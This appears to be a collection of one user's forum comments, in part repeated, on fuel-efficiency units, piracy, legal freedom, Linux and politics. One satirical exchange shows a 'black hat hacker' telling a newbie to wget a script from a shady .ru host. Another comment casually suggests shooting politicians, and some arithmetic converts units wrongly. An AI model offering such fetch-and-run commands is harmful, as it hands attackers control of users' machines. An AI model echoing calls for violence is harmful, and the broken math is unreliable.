Because the 10/20 MPG car is your SUV for the whole family with 3 kids and the 33/50 MPG car is the smart car for just you travelling to work and back.
And why does the ratio even matter? We're trying to measure the absolute benefit of increasing fuel efficiency here, not the percentage. The point is that going from 9 MPG to 10 MPG gives you greater monetary savings than from 100 MPG to 1000 MPG, so we should concentrate on getting rid of the low-efficiency cars rather than skimming off milliliters from cars that are already ultra-efficient.
Yes, changing the units will most definitely help. The units we should change to are the ones we already use here above the border: liters per 100 km. Going from 20 L/100k to 15 L/100k saves just as much as going from 10 L/100k to 5 L/100k. In most people's lives, the distance you need to travel is constant, not the amount of money you have to spend on fuel, so fuel per distance is much more logical anyway.
If he'd actually gone to trial back when he was indicted, instead of fighting it for all these years, he's have gotten a minor sentence, very likely no prison time at all, and almost certainly would be out now.
Well of course, the authorities don't like people fighting back against them and tend to kick them down extra hard if they manage to get them, to encourage others to take it lying down. Standing up to this standard bullying tactic is brave, and should be lauded regardless of whether you happen to agree with the crime in question.
The word "freedom" in legal contexts means not only that the government won't try to stop you from doing what you're free to do, but also that the government won't punish you for doing it. That's the standard definition Slashdot, and the rest of the world, has been operating under ever since the idea of freedom became important. No loopholes here.
I'm sure the heavy pirates have many thousands of dollars worth of pirated games, which might actually average out to $220 per handheld. But there's no way those pirates would have bought a significant portion of those games had they not been available for free, and that's why their $41 billion is accurate but ultimately quite meaningless.
Soldiers do not swear an oath to protect the government, they swear that they "will support and defend the Constitution of the United States against all enemies, foreign and domestic". I think what he did was in the spirit of the constitution, despite not being in the letter. So perhaps We The People should give him a medal instead.
They can't enforce fines in the sense of sending men with guns to take it from his house if he doesn't pay up, but I don't see what prevents them from just adding $300 to his tuition.
Linux newbie: Ok, thanks, I'll try that. I don't know what any of that means but it sure is nice to have people as advanced as you helping me! Linux newbie: Sorry, I'm posting from my friend's computer here. My computer's broken from that. Any idea what it is? Evil black hat hacker: Ok, we'll try SSHing into it and fixing everything remotely. Is your friend's computer also running Linux? Linux newbie: Yes. Evil black hat hacker: Ok, in order to SSH into your computer, first on your friend's machine run: wget -O run.sh www.shady_website.ru/lin...
Removing one law is difficult, but removing lots of laws is not that much more difficult. All you need is for a few dozen thousand people to get really angry and each try to put a bullet in the head of a politician. That's the "purge" part of the cycle, and some form of sudden violent collapse is the only way that in the real world political complexity ever actually goes down.
Our main advantage is that we're all slightly different from each other, so diseases can't usually spread to everyone. The computing world, with its 94% Windows market share, lacks this feature and is thus suffering a permanent Irish potato famine.
I agree. And PDF is no longer really an Adobe format (I say this having recently created a PDF slideshow using LaTeX which I intend to show using Evince).
Democracy comes from the Greek "kratos", meaning rule, and the word "demo", meaning that you're a fool if you try to apply it to real world situations.
Has it ever occurred to you that some customers actually like that kind of customer service? That's why you can't just ban everything and make everyone happy - some infringements of privacy have good uses, and some people actually prefer convenience to privacy. Letting the free market sort it out, with some companies offering convenience and others dedicated to privacy, is in my mind the best solution.
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Because the 10/20 MPG car is your SUV for the whole family with 3 kids and the 33/50 MPG car is the smart car for just you travelling to work and back.
3 / 2
= 3 * 0.00067 cents / 2 * 0.00067 cents
= 0.002 cents / 0.00133 cents
= 0.002 dollars / 0.00133 cents
= 150
Gee, that wasn't hard, was it?
And why does the ratio even matter? We're trying to measure the absolute benefit of increasing fuel efficiency here, not the percentage. The point is that going from 9 MPG to 10 MPG gives you greater monetary savings than from 100 MPG to 1000 MPG, so we should concentrate on getting rid of the low-efficiency cars rather than skimming off milliliters from cars that are already ultra-efficient.
Yes, changing the units will most definitely help. The units we should change to are the ones we already use here above the border: liters per 100 km. Going from 20 L/100k to 15 L/100k saves just as much as going from 10 L/100k to 5 L/100k. In most people's lives, the distance you need to travel is constant, not the amount of money you have to spend on fuel, so fuel per distance is much more logical anyway.
If he'd actually gone to trial back when he was indicted, instead of fighting it for all these years, he's have gotten a minor sentence, very likely no prison time at all, and almost certainly would be out now.
Well of course, the authorities don't like people fighting back against them and tend to kick them down extra hard if they manage to get them, to encourage others to take it lying down. Standing up to this standard bullying tactic is brave, and should be lauded regardless of whether you happen to agree with the crime in question.
The word "freedom" in legal contexts means not only that the government won't try to stop you from doing what you're free to do, but also that the government won't punish you for doing it. That's the standard definition Slashdot, and the rest of the world, has been operating under ever since the idea of freedom became important. No loopholes here.
Decentralization makes things more robust. I think we've known that for about two decades now.
I'm sure the heavy pirates have many thousands of dollars worth of pirated games, which might actually average out to $220 per handheld. But there's no way those pirates would have bought a significant portion of those games had they not been available for free, and that's why their $41 billion is accurate but ultimately quite meaningless.
Soldiers do not swear an oath to protect the government, they swear that they "will support and defend the Constitution of the United States against all enemies, foreign and domestic". I think what he did was in the spirit of the constitution, despite not being in the letter. So perhaps We The People should give him a medal instead.
Hey, there's lots of reasonable, honest candidates out there, and you could be among the 927 people voting for one in the next election!
They can't enforce fines in the sense of sending men with guns to take it from his house if he doesn't pay up, but I don't see what prevents them from just adding $300 to his tuition.
No OS can possibly be secure against user security without giving the user no freedom (see: iPad).
Here's the similar exploit for Linux:
Linux newbie: How do I get $obscure_proprietary_hardware working on my system?
Evil black hat hacker: The following did it for me:
Linux newbie: Ok, thanks, I'll try that. I don't know what any of that means but it sure is nice to have people as advanced as you helping me!
Linux newbie: Sorry, I'm posting from my friend's computer here. My computer's broken from that. Any idea what it is?
Evil black hat hacker: Ok, we'll try SSHing into it and fixing everything remotely. Is your friend's computer also running Linux?
Linux newbie: Yes.
Evil black hat hacker: Ok, in order to SSH into your computer, first on your friend's machine run: wget -O run.sh www.shady_website.ru/lin...
Removing one law is difficult, but removing lots of laws is not that much more difficult. All you need is for a few dozen thousand people to get really angry and each try to put a bullet in the head of a politician. That's the "purge" part of the cycle, and some form of sudden violent collapse is the only way that in the real world political complexity ever actually goes down.
-> Is 2+2 less than or greater than 4?
No
Ok, that thing's smart.
Zero day -> you're at risk, now.
No zero day -> well, we published the vulnerability, so it'll take 12-48 hours for someone to write and start using an exploit.
Whatever happened to moderation?
Everything is best done in moderation... especially moderation.
Yes, it will be a gradual replacement. That's why it says that new machines will need authorization to run Windows.
Modern nuclear plants don't have any failure states nearly as bad as what's happening now.
Our main advantage is that we're all slightly different from each other, so diseases can't usually spread to everyone. The computing world, with its 94% Windows market share, lacks this feature and is thus suffering a permanent Irish potato famine.
I agree. And PDF is no longer really an Adobe format (I say this having recently created a PDF slideshow using LaTeX which I intend to show using Evince).
Uniquely identifying something isn't new or nefarious.
But having my own devices, that I own since I paid for them, actively work against me IS nefarious.
Ok, that's a good strategy, but once you add some real money in it just gets way too complex for my tastes.
Democracy comes from the Greek "kratos", meaning rule, and the word "demo", meaning that you're a fool if you try to apply it to real world situations.
corpo-cleptocractic
I would support you, but your views are too heteroradical.
Wait, hetero-radical... crap.
Has it ever occurred to you that some customers actually like that kind of customer service? That's why you can't just ban everything and make everyone happy - some infringements of privacy have good uses, and some people actually prefer convenience to privacy. Letting the free market sort it out, with some companies offering convenience and others dedicated to privacy, is in my mind the best solution.